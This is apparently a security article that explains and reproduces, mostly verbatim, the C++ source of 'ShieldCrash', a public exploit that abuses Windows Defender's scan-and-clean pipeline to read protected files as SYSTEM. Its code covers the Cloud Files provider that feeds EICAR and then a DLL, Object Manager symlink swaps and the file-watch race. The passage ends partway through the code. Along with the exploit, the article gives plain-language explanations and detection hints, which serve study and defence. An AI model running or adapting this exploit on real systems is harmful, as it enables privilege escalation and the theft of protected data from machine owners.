
MSNightmare; also reported as “Chaotic Eclipse” / INFINITE NIGHTMARE), published 8–9 September 2026. The repository is MIT-licensed, Copyright (c) 2026 INFINITE NIGHTMARE; all code below is reproduced verbatim from it with attribution captions and the licence notice.
If You Do Not Live in Windows Internals
Imagine a building with a very powerful security guard. The guard is allowed to open almost every door, because that is how he disposes of suspicious parcels. He is honest, fast, and completely trusted. He is also, in computer-security jargon, a confused deputy: a privileged helper who will do the wrong thing if you lie to him about which door is which.
ShieldCrash is a trick played on that guard. The attacker does not pick the lock on the manager’s filing cabinet. They show the guard a dummy bomb (the harmless EICAR antivirus test file), wait until he has committed to “cleaning” it, then unscrew the corridor sign so the same address now leads to a file a normal user is not allowed to read. The guard still thinks he is handling the dummy bomb. Because he runs as NT AUTHORITY\SYSTEM, the file opens.
That is the whole story. The rest of this article is what the corridor sign, the dummy bomb, and the filing cabinet look like in Windows: the Cloud Files API, Object Manager shadow directories, a mount point, an alternate data stream, and Defender’s own MpClient.dll scan/clean RPC. If you only want the plot, read this section, glance at the diagrams, and skip to What a SYSTEM file read is actually worth and the hunting checklist. If you write detections or reverse Windows, the code is reproduced in order from the public repository.

Executive Summary
On 8–9 September 2026, immediately after Microsoft’s Patch Tuesday, the researcher known as Nightmare Eclipse published ShieldCrash, a skeleton proof of concept that the August Defender elevation-of-privilege chain nicknamed ShieldBreak (CVE-2026-69414, CVSS 7.8) was not fully closed. Microsoft had shipped Malware Protection Engine 1.1.26080.3 to stop ShieldBreak’s last mile — the part where Defender wrote an attacker DLL to C:\Windows\System32\phoneinfo.dll and Windows Error Reporting loaded it as SYSTEM. The researcher’s claim, quoted from the repository README, is that “under specific conditions it is still possible to trigger the exact same problem that was caused by ShieldBreak.”
What shipped is not a SYSTEM shell. It is an arbitrary file read as SYSTEM on fully patched, supported Windows, demonstrated in the author’s screenshot against C:\Windows\System32\config\ELAM — the Early Launch Anti-Malware registry hive, a file a standard user cannot open. The command line is ShieldCrash.exe <path_to_leak>. The working copy lands next to the executable as <filename>.{GUID}. The payload DLL from ShieldBreak, Warden.dll, is still embedded and still served on the second Cloud Files fetch, but this drop never plants phoneinfo.dll and never kicks QueueReporting. The author says, in so many words, that a full SYSTEM PoC may come later.


ShieldCrash.exe C:\Windows\System32\config\ELAM. After the Cloud Files / Object Manager dance, ELAM.{GUID} appears beside the executable. Source: ShieldCrash repository README.Vulnerability Summary
| Item | Value |
|---|---|
| Public name | ShieldCrash — leftover of ShieldBreak / CVE-2026-69414 |
| Upstream CVE | CVE-2026-69414 (ShieldBreak), itself a bypass of CVE-2026-50656 (RoguePlanet) |
| Component | Microsoft Malware Protection Engine via MsMpEng.exe / MpClient.dll |
| Class | CWE-367 (TOCTOU) chained with CWE-59 (link following) and CWE-73 (external control of file name / path) |
| Impact in this PoC | Local arbitrary file read as NT AUTHORITY\SYSTEM (not a write, not a shell) |
| Engine that closed the write | v1.1.26080.3 (September 2026) — the read remains |
| Claimed targets | All supported Windows versions, September 2026 patch level |
| Preconditions | Local code execution as a standard user; Defender enabled and willing to scan/remediate |
| PoC published | 8–9 September 2026, MIT licence |
| ATT&CK | T1068 Exploitation for Privilege Escalation; T1005 Data from Local System; T1106 Native API; T1562.001 Impair Defenses |
A Three-Name Bug Class
This is the third public name for the same family of mistakes: Defender’s scan/clean pipeline treats a path as stable between the moment it decides a file is bad and the moment it acts on that file. Each Microsoft fix closed a route. Each public PoC came back through a different door.

- June 2026 — RoguePlanet (CVE-2026-50656). A race plus improper link resolution in the engine. Patched in
v1.1.26060.3008in July. - 12 August 2026 — ShieldBreak (CVE-2026-69414). Cloud Files + Object Manager shadow directories + a CLFS lock so the race becomes deterministic. Defender writes
phoneinfo.dll; WER loads it as SYSTEM. Walked in our earlier piece ShieldBreak: Making Windows Defender Write Your Payload to System32. - 8–9 September 2026 — ShieldCrash. Engine
1.1.26080.3is on the box. The System32 write and the WER bridge are gone. The Cloud Files provider, the shadow directories, the UNC loopback, the ADS, and a new mount-point into the Object Manager are not. The leftover primitive is a SYSTEM read.
The Hacker News reported the September engine update as the ShieldBreak fix and noted it “does not require any customer action and does not affect systems that have disabled Microsoft Defender.” That last clause is the same awkward footnote as last month: turning Defender off stops this chain and also turns off your antivirus. It is a diagnostic, not a recommendation.
What Changed in the Source Tree
If you already read the ShieldBreak tree, ShieldCrash looks like a fork that kept the skeleton and rewired the last mile. Side by side:

The public tree is a Visual Studio 2022 (toolset v145, C++20) console project with two embedded resources, no Report.wer this time:
| File | Size | SHA-256 | Role |
|---|---|---|---|
ShieldCrash.cpp | 52,040 | f23325b659e1ceca631ca0e8b2089094132decc2107814fcc4fdcf7ab278419c | The whole exploit. ~650 lines of MpClient typedefs, then the chain. |
Warden.dll | 107,008 | 691857f3f28049a7e33f5767d4e4eb3d739e1aa76c2a43c8cccadf871cfa7c1a | x64 DLL leftover from ShieldBreak. Still served on fetch #2. Wide strings: \\??\\pipe\\SHIELDBREAK, conhost.exe. |
eicar_com.zip | 2,412,544 | 9675e80f6d382c83a18f3458bf25fc9deff2c30af4c88594aeb308e0704766c2 | Not a ZIP. GNU tar containing eicar.com (68-byte EICAR string), bfsvc.exe, and a 2.2 MB JPEG of padding. |
resource.h / ShieldCrash.rc | small | see tree | IDR_ZIP1 + IDR_DLL1 only. The WER resource from ShieldBreak is gone. |
LICENSE | 1,075 | 5797d842ae200473ba2c6d474dadc7478d0eddec3f9fd5b836f74ded0d5d92b7 | MIT, Copyright (c) 2026 INFINITE NIGHTMARE. |
README, in the author’s words
# ShieldCrash
Windows Defender 0day Vulnerability
Microsoft has failed to properly patch ShieldBreak [CVE-2026-69414](https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-69414), under specific conditions it is still possible to trigger the exact same problem that was caused by ShieldBreak. While Microsoft fixed several things to prevent re-exploiting the issue, they missed a spot where ShieldBreak can still be exploited.
This PoC demonstrates an arbitrary file read as SYSTEM with September 2026, all supported windows versions are affected.
<img width="1920" height="1032" alt="image" src="https://github.com/user-attachments/assets/138f02fb-8c21-4bcf-bea9-0c835829a719" />
I might rework this later into a full SYSTEM PoC but for now I'm dropping this skeleton PoC because I'm feeling a bit lazy.
README.md — reproduced in full.
Embedded resources
//{{NO_DEPENDENCIES}}
// Microsoft Visual C++ generated include file.
// Used by ShieldCrash.rc
//
#define IDR_ZIP1 101
#define IDR_DLL1 102
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 103
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1001
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif
resource.h — only a ZIP and a DLL this time. No WER report.
IDR_ZIP1 zip "eicar_com.zip"
IDR_DLL1 dll "Warden.dll"
ShieldCrash.rc — the two resources the Cloud Files callback will serve.
HRSRC hResInfo_zip = FindResource(NULL, MAKEINTRESOURCE(IDR_ZIP1), L"zip");
HGLOBAL hResData_zip = LoadResource(NULL, hResInfo_zip);
LPVOID pResourceData_zip = LockResource(hResData_zip);
DWORD dwSize_zip = SizeofResource(NULL, hResInfo_zip);
HRSRC hResInfo_dll = FindResource(NULL, MAKEINTRESOURCE(IDR_DLL1), L"dll");
HGLOBAL hResData_dll = LoadResource(NULL, hResInfo_dll);
LPVOID pResourceData_dll = LockResource(hResData_dll);
DWORD dwSize_dll = SizeofResource(NULL, hResInfo_dll);
ShieldCrash.cpp — resources resolved at load time into the pointers the callback hands to CfExecute.
The Ingredients, Without Jargon Overload
Confused deputy
A confused deputy is a privileged program tricked into using its privileges on the attacker’s behalf. Antivirus is a structural confused-deputy factory: it must open, hash, quarantine, and delete files anywhere on disk, as SYSTEM, because malware hides anywhere on disk. If the attacker can change what a path means between “this is malware” and “now clean it,” Defender becomes a SYSTEM-level file API.
TOCTOU
Time-of-check to time-of-use: you look at a thing, decide it is safe (or unsafe), then act on it later, and the thing is no longer the same. File-system TOCTOU is usually a symlink swap. ShieldCrash does the swap in the NT Object Manager, which is a parallel namespace underneath drive letters, and then again with a directory mount point. Defender’s scan path string never changes. Its meaning does.
Cloud Files (cfapi)
This is the API behind OneDrive Files On-Demand. A provider registers a sync root, plants placeholders that have a name and a size but no bytes, and supplies the bytes in a CF_CALLBACK_TYPE_FETCH_DATA callback when something reads them. The provider is, by design, the authority on file content at the moment of the read. A scanner that treats that content as a stable on-disk object is trusting the attacker.
Object Manager shadow directories
NtCreateDirectoryObjectEx can create a directory that shadows another. A lookup that misses in the shadow falls through to the target. Put a symlink named WD_SCAN in both. Delete the one in the shadow, and every in-flight lookup of WD_SCAN silently starts hitting the other one. No NTFS journal event for “the path Defender is using now points somewhere else,” because Defender is not using an NTFS path. It is using \\.\globalroot\BaseNamedObjects\....
Step 1 — Becoming the Storage Provider
The process boosts itself to HIGH_PRIORITY_CLASS / THREAD_PRIORITY_TIME_CRITICAL, creates a hidden working directory C:\ShieldCrash_{GUID} with an Everyone GENERIC_ALL DACL so that SYSTEM can traverse it while the user still owns it, and registers a Cloud Files provider named Flubber with the same hardcoded GUID ShieldBreak used.
int wmain(int argc, wchar_t** argv)
{
if (argc < 2)
{
printf("Usage : %ws <path_to_leak>\n", argv[0]);
return 1;
}
UNICODE_STRING symlinkftarget = { 0 };
_RtlDosPathNameToNtPathName_U_WithStatus(argv[1], &symlinkftarget, NULL, NULL);
SetPriorityClass(GetCurrentProcess(), HIGH_PRIORITY_CLASS);
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL);
ShieldCrash.cpp — usage is a victim path. There is no hardcoded System32 target this time.
GUID ProviderId;
CLSIDFromString(L"{B196E670-59C7-4D41-9637-C62D80541321}", &ProviderId);
CF_SYNC_REGISTRATION reg = { 0 };
reg.StructSize = sizeof(reg);
reg.ProviderName = L"Flubber";
reg.ProviderVersion = L"1.0";
reg.ProviderId = ProviderId;
CF_SYNC_POLICIES policies = { 0 };
policies.StructSize = sizeof(policies);
policies.HardLink = CF_HARDLINK_POLICY_ALLOWED;
policies.Hydration.Primary = CF_HYDRATION_POLICY_PARTIAL;
policies.Hydration.Modifier = CF_HYDRATION_POLICY_MODIFIER_AUTO_DEHYDRATION_ALLOWED | CF_HYDRATION_POLICY_MODIFIER_VALIDATION_REQUIRED;
policies.InSync = CF_INSYNC_POLICY_TRACK_ALL;
policies.Population.Primary = CF_POPULATION_POLICY_PARTIAL;
HRESULT hs = CfRegisterSyncRoot(workdir.c_str(), ®, &policies, CF_REGISTER_FLAG_DISABLE_ON_DEMAND_POPULATION_ON_ROOT);
if (hs)
throw hs;
printf("[+] Cloud provider has been registered.\n");
CF_CALLBACK_REGISTRATION table[2];
table[0] = { CF_CALLBACK_TYPE_FETCH_DATA, CLBK };
table[1] = CF_CALLBACK_REGISTRATION_END;
CF_CONNECTION_KEY key = { 0 };
DWORD attemptn = 1;
hs = CfConnectSyncRoot(workdir.c_str(), table, &attemptn, CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH | CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO, &key);
if (hs)
throw hs;
printf("[+] Attached cloud provider to %ws\n", workdir.c_str());
ShieldCrash.cpp — registering Flubber. Hydration is PARTIAL with AUTO_DEHYDRATION and VALIDATION_REQUIRED, not the FULL policy ShieldBreak used.
The placeholder is named BERN rather than ShieldBreak’s BERLIN. The declared size is the EICAR tar. The callback table is the same one-shot fetch handler.
CF_CALLBACK_REGISTRATION table[2];
table[0] = { CF_CALLBACK_TYPE_FETCH_DATA, CLBK };
table[1] = CF_CALLBACK_REGISTRATION_END;
CF_CONNECTION_KEY key = { 0 };
DWORD attemptn = 1;
hs = CfConnectSyncRoot(workdir.c_str(), table, &attemptn, CF_CONNECT_FLAG_REQUIRE_FULL_FILE_PATH | CF_CONNECT_FLAG_REQUIRE_PROCESS_INFO, &key);
if (hs)
throw hs;
printf("[+] Attached cloud provider to %ws\n", workdir.c_str());
CF_PLACEHOLDER_CREATE_INFO place_holders[1] = { 0 };
place_holders[0].RelativeFileName = L"BERN";
FILETIME ft = { 0 };
GetSystemTimeAsFileTime(&ft);
LARGE_INTEGER ttime = { 0 };
ttime.LowPart = ft.dwLowDateTime;
ttime.HighPart = ft.dwHighDateTime;
place_holders[0].FsMetadata.BasicInfo.CreationTime = ttime;
place_holders[0].FsMetadata.FileSize.QuadPart = dwSize_zip;
place_holders[0].FsMetadata.BasicInfo.FileAttributes = FILE_ATTRIBUTE_NORMAL;
place_holders[0].Flags = CF_PLACEHOLDER_CREATE_FLAG_SUPERSEDE | CF_PLACEHOLDER_CREATE_FLAG_MARK_IN_SYNC;
place_holders[0].FileIdentity = malloc(0x130);
place_holders[0].FileIdentityLength = 0x130;
DWORD pentries = 0;
hs = CfCreatePlaceholders(workdir.c_str(), place_holders, 1,
CF_CREATE_FLAG_NONE, &pentries);
if (hs)
throw hs;
printf("[+] Placeholder created.\n");
ShieldCrash.cpp — callback registration and the BERN placeholder.
Step 2 — The Two-Faced File
Here is the primitive that has survived two Microsoft engine updates. The fetch callback keeps a one-shot flag in its context. The first time anything — Defender — reads the file, it receives the EICAR tar. Every later read receives Warden.dll.

void CALLBACK CLBK(
_In_ CONST CF_CALLBACK_INFO* CallbackInfo,
_In_ CONST CF_CALLBACK_PARAMETERS* CallbackParameters
) {
LARGE_INTEGER offset = CallbackParameters->FetchData.RequiredFileOffset;
LARGE_INTEGER length = CallbackParameters->FetchData.RequiredLength;
DWORD* RNA = (DWORD*)CallbackInfo->CallbackContext;
CF_OPERATION_PARAMETERS opParams = { 0 };
opParams.ParamSize = sizeof(CF_OPERATION_PARAMETERS);
if (*RNA == 1) {
opParams.TransferData.Buffer = pResourceData_zip;
opParams.TransferData.Offset = offset;
opParams.TransferData.Length.QuadPart = dwSize_zip;
*RNA = 2;
}
else {
opParams.TransferData.Buffer = pResourceData_dll;
opParams.TransferData.Offset = offset;
opParams.TransferData.Length.QuadPart = dwSize_dll;
}
opParams.TransferData.CompletionStatus = STATUS_SUCCESS;
CF_OPERATION_INFO opInfo = { 0 };
opInfo.StructSize = sizeof(CF_OPERATION_INFO);
opInfo.Type = CF_OPERATION_TYPE_TRANSFER_DATA;
opInfo.ConnectionKey = CallbackInfo->ConnectionKey;
opInfo.TransferKey = CallbackInfo->TransferKey;
HRESULT hr = S_OK;
hr = CfExecute(&opInfo, &opParams);
if (FAILED(hr)) {
std::wcerr << L"[-] CfExecute failed with HRESULT: 0x" << std::hex << hr << std::endl;
throw hr;
}
printf("[+] Cloud provider callback success.\n");
{
CF_OPERATION_PARAMETERS opParams = { 0 };
CF_OPERATION_INFO opInfo = { 0 };
HRESULT hr = S_OK;
opParams.ParamSize = sizeof(CF_OPERATION_PARAMETERS);
opParams.AckData.CompletionStatus = STATUS_SUCCESS;
opParams.AckData.Flags = CF_OPERATION_ACK_DATA_FLAG_NONE;
opParams.AckData.Length = length;
opParams.AckData.Offset = offset;
opInfo.StructSize = sizeof(CF_OPERATION_INFO);
opInfo.Type = CF_OPERATION_TYPE_ACK_DATA;
opInfo.ConnectionKey = CallbackInfo->ConnectionKey;
opInfo.TransferKey = CallbackInfo->TransferKey;
hr = CfExecute(&opInfo, &opParams);
if (FAILED(hr)) {
std::wcerr << L"[-] CfExecute failed with HRESULT: 0x" << std::hex << hr << std::endl;
throw hr;
}
printf("[+] Cloud provider callback success.\n");
}
}
ShieldCrash.cpp — CLBK, the hydration callback, byte-for-byte the ShieldBreak version.
The bait archive is labelled eicar_com.zip and is actually a GNU tar. Inside it is the canonical 68-byte EICAR test file — the string every antivirus on earth is required to flag:
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
eicar.com extracted from the embedded tar. This is the industry-standard harmless test string, not malware.
The tar also carries bfsvc.exe and a 2.2 MB JPEG. The extra bulk is padding so the placeholder’s declared size looks like a real archive rather than a 68-byte joke. Defender only needs to see EICAR once to schedule a clean.
Step 3 — Shadow Directories and a CLFS-Prefixed Link
The Object Manager wrappers are unchanged from ShieldBreak. Destroying the C++ object closes the kernel handle, which is how the exploit later deletes a symlink at a precise moment.
class ObjectSymlinkMgr {
public:
ObjectSymlinkMgr(wchar_t* symlinkpath, wchar_t* symlinktarget, HANDLE hparentobjdir = NULL) {
if (!symlinkpath || !symlinktarget)
{
throw STATUS_INVALID_PARAMETER;
}
UNICODE_STRING _symlinkpath = { 0 };
RtlInitUnicodeString(&_symlinkpath, symlinkpath);
UNICODE_STRING _symlinktarget = { 0 };
RtlInitUnicodeString(&_symlinktarget, symlinktarget);
OBJECT_ATTRIBUTES objattr = { 0 };
InitializeObjectAttributes(&objattr, &_symlinkpath, OBJ_CASE_INSENSITIVE, hparentobjdir, NULL);
NTSTATUS stat = _NtCreateSymbolicLinkObject(&this->hlink, GENERIC_ALL, &objattr, &_symlinktarget);
if (stat)
throw stat;
}
HANDLE GetHandle() {
return this->hlink;
}
~ObjectSymlinkMgr() {
CloseHandle(this->hlink);
}
private:
HANDLE hlink = NULL;
};
class ObjectDirMgr {
public:
ObjectDirMgr(wchar_t* objdirpath, HANDLE hshadow = NULL, HANDLE hparent = NULL) {
if (!objdirpath)
throw STATUS_INVALID_PARAMETER;
UNICODE_STRING _objdirpath = { 0 };
RtlInitUnicodeString(&_objdirpath, objdirpath);
OBJECT_ATTRIBUTES objattr = { 0 };
InitializeObjectAttributes(&objattr, &_objdirpath, OBJ_CASE_INSENSITIVE, hparent, NULL);
NTSTATUS stat = _NtCreateDirectoryObjectEx(&this->hobjdir, GENERIC_ALL, &objattr, hshadow, NULL);
if (stat)
throw;
}
HANDLE GetHandle() {
return this->hobjdir;
}
~ObjectDirMgr() {
CloseHandle(hobjdir);
}
private:
HANDLE hobjdir;
};
ShieldCrash.cpp — ObjectSymlinkMgr and ObjectDirMgr.
Two directories are created under \BaseNamedObjects\Restricted\. The second shadows the first. Each gets a WD_SCAN symlink. In the shadow, it points at the working directory through the SMB loopback \\??\UNC\localhost\C$\.... In the target, it points at the same place through the CLFS device namespace. The path finally handed to Defender walks in through \\.\globalroot.
std::wstring targetobjdirpath = L"\\BaseNamedObjects\\Restricted\\WD_TARGET_";
targetobjdirpath.append(mainguid);
ObjectDirMgr* targetdir = new ObjectDirMgr((wchar_t*)targetobjdirpath.c_str());
printf("[+] %ws object manager directory created\n", targetobjdirpath.c_str());
std::wstring shadowobjdirpath = L"\\BaseNamedObjects\\Restricted\\WD_SHADOW_";
shadowobjdirpath.append(mainguid);
ObjectDirMgr* shadowdir = new ObjectDirMgr((wchar_t*)shadowobjdirpath.c_str(), targetdir->GetHandle());
printf("[+] %ws object manager directory created\n", shadowobjdirpath.c_str());
std::wstring shlnkpath = L"WD_SCAN";
std::wstring shlnktarget = L"\\??\\UNC\\localhost\\C$\\ShieldCrash_" + std::wstring(mainguid);
ObjectSymlinkMgr* shlnk = new ObjectSymlinkMgr((wchar_t*)shlnkpath.c_str(), (wchar_t*)shlnktarget.c_str(), shadowdir->GetHandle());
printf("[+] %ws <=> %ws object link created\n", shlnkpath.c_str(), shlnktarget.c_str());
std::wstring mnlnktarget = L"\\CLFS\\??\\UNC\\localhost\\C$\\ShieldCrash_" + std::wstring(mainguid);
ObjectSymlinkMgr* mnlnk = new ObjectSymlinkMgr((wchar_t*)shlnkpath.c_str(), (wchar_t*)mnlnktarget.c_str(), targetdir->GetHandle());
printf("[+] %ws <=> %ws object link created\n", shlnkpath.c_str(), mnlnktarget.c_str());
std::wstring scan_path = L"\\\\.\\globalroot\\BaseNamedObjects\\Restricted\\WD_SHADOW_" + std::wstring(mainguid) + L"\\WD_SCAN\\BERN";
wcscpy(scan_target, scan_path.c_str());
ShieldCrash.cpp — the shadow/target pair, the two WD_SCAN links, and the GLOBALROOT scan path.
Two small but important differences from August: the UNC host is localhost rather than 127.0.0.1, and the CLFS prefix is \CLFS\??\UNC\localhost\C$\... rather than \CLFS\??\C:\.... If the September engine started rejecting a particular UNC shape or a CLFS path that resolved onto a local drive letter, this is a plausible way to walk around that check without inventing a new primitive.
Then the exploit copies a real ntdll.dll into an alternate data stream on the placeholder. That stream is the later leak pipe: a name Defender will still be holding when the directory underneath it has become something else.
std::wstring malfilepath = workdir + L"\\BERN";
std::wstring ntmalfilepath = L"\\??\\" + malfilepath;
UNICODE_STRING _umalfilepath = { 0 };
RtlInitUnicodeString(&_umalfilepath, ntmalfilepath.c_str());
iostat2 = { 0 };
OBJECT_ATTRIBUTES malfileobjattr = { 0 };
InitializeObjectAttributes(&malfileobjattr, &_umalfilepath, OBJ_CASE_INSENSITIVE, NULL, NULL);
HANDLE hzip = NULL;
stat = NtCreateFile(&hzip, SYNCHRONIZE | FILE_READ_DATA, &malfileobjattr, &iostat2, NULL, FILE_ATTRIBUTE_HIDDEN, ALL_SHARING, FILE_OPEN_IF, FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, NULL);
if (stat)
throw stat;
printf("[+] Created %ws\n", ntmalfilepath.c_str());
LARGE_INTEGER fsz = { 0 };
fsz.QuadPart = -1;
if (!CopyFile(L"C:\\Windows\\System32\\ntdll.dll", std::wstring(workdir + L"\\BERN:stream").c_str(), FALSE))
{
printf("[-] File copy failed.\n");
return 1;
}
printf("[+] Copied C:\\Windows\\System32\\ntdll.dll => %ws\n", std::wstring(workdir + L"\\BERN:stream").c_str());
ShieldCrash.cpp — opening BERN and seeding BERN:stream with ntdll.dll.
Step 4 — Driving Defender Through MpClient.dll
As in ShieldBreak, the PoC does not wait for a scheduled scan. It loads MpClient.dll from Defender’s install directory (read from the registry), opens the manager, and starts a resource scan against the crafted GLOBALROOT path. The scan flags are 0x60004000 rather than ShieldBreak’s 0x60004002 — a one-bit difference that is a reasonable candidate for “the option Microsoft started treating as hostile.”
bool GetWDInstallDir(wchar_t* dirname)
{
HKEY hkey = NULL;
LSTATUS lstat = RegOpenKeyEx(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows Defender", NULL, KEY_QUERY_VALUE, &hkey);
if (lstat)
{
printf("[-] Failed to open windows defender registry key, error : %d\n", lstat);
return false;
}
DWORD keytype = REG_SZ;
DWORD datasz = MAX_PATH * sizeof(wchar_t);
lstat = RegQueryValueEx(hkey, L"InstallLocation", NULL, &keytype, (LPBYTE)dirname, &datasz);
if (lstat)
{
printf("[-] Failed to query windows defender install location, error : %d\n", lstat);
return false;
}
RegCloseKey(hkey);
return true;
}
ShieldCrash.cpp — locating the Defender install directory in order to load MpClient.dll.
MPRESOURCE_INFO scaninfo = { 0 };
scaninfo.Scheme = (wchar_t*)L"file";
scaninfo.Path = scan_target;
MPSCAN_RESOURCES scanrsrc = { 0 };
scanrsrc.dwResourceCount = 1;
scanrsrc.pResourceList = &scaninfo;
MPHANDLE scanctx = NULL;
hres = _MpScanStart(hbinding, MPSCAN_TYPE_RESOURCE, 0x60004000, &scanrsrc, NULL, &scanctx);
// 0x8050111C scan pending
if (hres)
{
printf("F[-] ailed to start windows defender scan, error : 0x%0.8X\n", hres);
ExitProcess(1);
}
DWORD sz = 0x90;
void* scanres = malloc(0x90);
ZeroMemory(scanres, 0x90);
hres = _MpScanResult(scanctx, scanres);
if (hres)
{
printf("[-] Failed to fetch scan results, error : 0x%0.8X\n", hres);
ExitProcess(1);
}
MPHANDLE threatctx = NULL;
hres = _MpThreatOpen(scanctx, MPTHREAT_SOURCE_SCAN, MPTHREAT_TYPE_KNOWNBAD, &threatctx);
if (hres)
{
printf("[-] Failed to open threats, error : 0x%0.8X\n", hres);
ExitProcess(1);
}
MPTHREAT_INFO* tinfo = NULL;
hres = _MpThreatEnumerate(threatctx, &tinfo);
if (hres == 0x1)
{
printf("[-] No threats found.\n");
ExitProcess(0);
}
if (hres)
{
printf("[-] Failed to enumerate threats, error : 0x%0.8X\n", hres);
ExitProcess(1);
}
if (tinfo->ThreatStatus != 0x1)
{
printf("[-] Unexpected reply from MpThreatEnumerate.\n");
ExitProcess(1);
}
ShieldCrash.cpp — targeted MPSCAN_TYPE_RESOURCE scan, then threat enumeration. Status 0x1 is MP_THREAT_STATUS_DETECTED.
hres = _MpCleanOpen(scanctx, NULL, &cleanctx);
if (hres)
{
printf("[-] MpCleanOpen failed, error : 0x%0.8X\n", hres);
ExitProcess(1);
}
void* callbackaddr[2] = { WDCLBK, WDCLBK };
hres = _MpCleanStart(cleanctx, NULL, callbackaddr);
if (hres)
{
printf("[-] MpCleanStart failed, error : 0x%0.8X\n", hres);
ExitProcess(1);
}
WaitForSingleObject(hnotify, INFINITE);
CloseHandle(hnotify);
_MpHandleClose(scanctx);
_MpHandleClose(threatctx);
_MpHandleClose(hbinding);
return ERROR_SUCCESS;
ShieldCrash.cpp — MpCleanOpen / MpCleanStart. The clean is started and then parked on an event, same as ShieldBreak.
From Defender’s point of view this is a legitimate client: open, scan, detect, clean. The malice is in the path and in the Cloud Files provider that answers the reads. MpClient.dll loading in a process that is not MsMpEng.exe, MpCmdRun.exe, NisSrv.exe or ConfigSecurityPolicy.exe remains one of the cheapest high-signal detections in this family.
Step 5 — The Race Microsoft Did Not Close
ShieldBreak froze Defender mid-clean by taking an exclusive LockFileEx on the CLFS container the clean created. That is the piece a patch can, and apparently did, notice: a user-mode process locking a CLFS log that Defender just created, then swapping a symlink to System32.
ShieldCrash does not lock the log. It watches %windir% for a newly created TEMP\TMP* name — Defender’s own temp during the scan/clean — and at that instant destroys the shadow WD_SCAN and recreates it aiming at a second working directory. Then it watches that directory for the CLFS-related file, appends :stream to the name, and moves on.
HANDLE hthread = CreateThread(NULL, NULL, WDStartScan, NULL, NULL, &tid);
if (!hthread)
{
printf("[-] Failed to initiate scan.\n");
throw GetLastError();
}
printf("[*] Scan initiated for %ws\n[*] Please wait...\n", scan_path.c_str());
wchar_t nfilename[MAX_PATH] = { 0 };
wchar_t nfilename2[MAX_PATH] = { 0 };
char buff[0x1000] = { 0 };
wchar_t preffix[] = { L"TEMP\\TMP" };
do {
ZeroMemory(buff, sizeof(buff));
retb = 0;
if (ReadDirectoryChangesW(hmonitor, buff, sizeof(buff), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME, &retb, NULL, NULL))
{
FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)buff;
if (fni->Action == FILE_ACTION_ADDED) {
if (_wcsnicmp(preffix, &fni->FileName[0], (sizeof(preffix) / sizeof(wchar_t)) - 1) == 0)
{
delete shlnk;
printf("[*] File found : %ws\n", &fni->FileName[0]);
break;
ExitProcess(1);
}
}
}
continue;
} while (1);
CloseHandle(hmonitor);
hmonitor = hworkdir;
do {
retb = 0;
if (ReadDirectoryChangesW(hmonitor, buff, sizeof(buff), FALSE, FILE_NOTIFY_CHANGE_FILE_NAME, &retb, NULL, NULL))
{
FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)buff;
if (fni->Action != FILE_ACTION_ADDED)
continue;
memmove(nfilename, &fni->FileName[0], fni->FileNameLength * sizeof(wchar_t));
break;
}
} while (1);
mnlnktarget = L"\\??\\UNC\\localhost\\C$\\ShieldCrash_" + std::wstring(mainguid) + L"_2";
shlnk = new ObjectSymlinkMgr((wchar_t*)shlnkpath.c_str(), (wchar_t*)mnlnktarget.c_str(), shadowdir->GetHandle());
printf("[+] %ws <=> %ws object link created\n", shlnkpath.c_str(), mnlnktarget.c_str());
ShieldCrash.cpp — ReadDirectoryChangesW on the Windows directory, the TEMP\TMP* trigger, and the retarget onto workdir_2.
printf("[+] Link deleted.\n");
printf("[+] Link Created.\n");
std::wstring workdir2 = L"\\??\\" + workdir + std::wstring(L"_2");
UNICODE_STRING _workdir2 = { 0 };
RtlInitUnicodeString(&_workdir2, workdir2.c_str());
OBJECT_ATTRIBUTES workdirobjattr2 = { 0 };
InitializeObjectAttributes(&workdirobjattr2, &_workdir2, OBJ_CASE_INSENSITIVE, NULL, sd);
iostat2 = { 0 };
HANDLE hworkdir2 = NULL;
stat = NtCreateFile(&hworkdir2, GENERIC_READ | SYNCHRONIZE, &workdirobjattr2, &iostat2, NULL, FILE_ATTRIBUTE_DIRECTORY, ALL_SHARING, FILE_CREATE, FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT, NULL, NULL);
if (stat)
throw stat;
wchar_t clfsdelpath[MAX_PATH] = { 0 };
wsprintf(clfsdelpath, L"%ws\\%ws", workdir.c_str(), nfilename);
DeleteFile(clfsdelpath);
wchar_t t2[MAX_PATH] = { 0 };
do {
ZeroMemory(buff, sizeof(buff));
retb = 0;
if (ReadDirectoryChangesW(hworkdir2, buff, sizeof(buff), TRUE, FILE_NOTIFY_CHANGE_FILE_NAME, &retb, NULL, NULL))
{
FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)buff;
printf("[*] File found : %ws\n", &fni->FileName[0]);
memmove(t2, &fni->FileName[0], fni->FileNameLength * sizeof(wchar_t));
break;
}
continue;
} while (1);
wcscat(t2, L":stream");
wchar_t fpath2[MAX_PATH] = { 0 };
wsprintf(fpath2, L"%ws_2\\%ws", workdir.c_str(), t2);
HANDLE htest = NULL;
do {
htest = CreateFile(malfilepath.c_str(), DELETE, ALL_SHARING, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
} while (!htest || htest == INVALID_HANDLE_VALUE);
wchar_t tempmv[MAX_PATH] = { 0 };
ExpandEnvironmentStrings(L"\\??\\%TEMP%\\ShieldCrash_", tempmv, MAX_PATH);
wcscat(tempmv, mainguid);
wcscat(tempmv, L".BERN2");
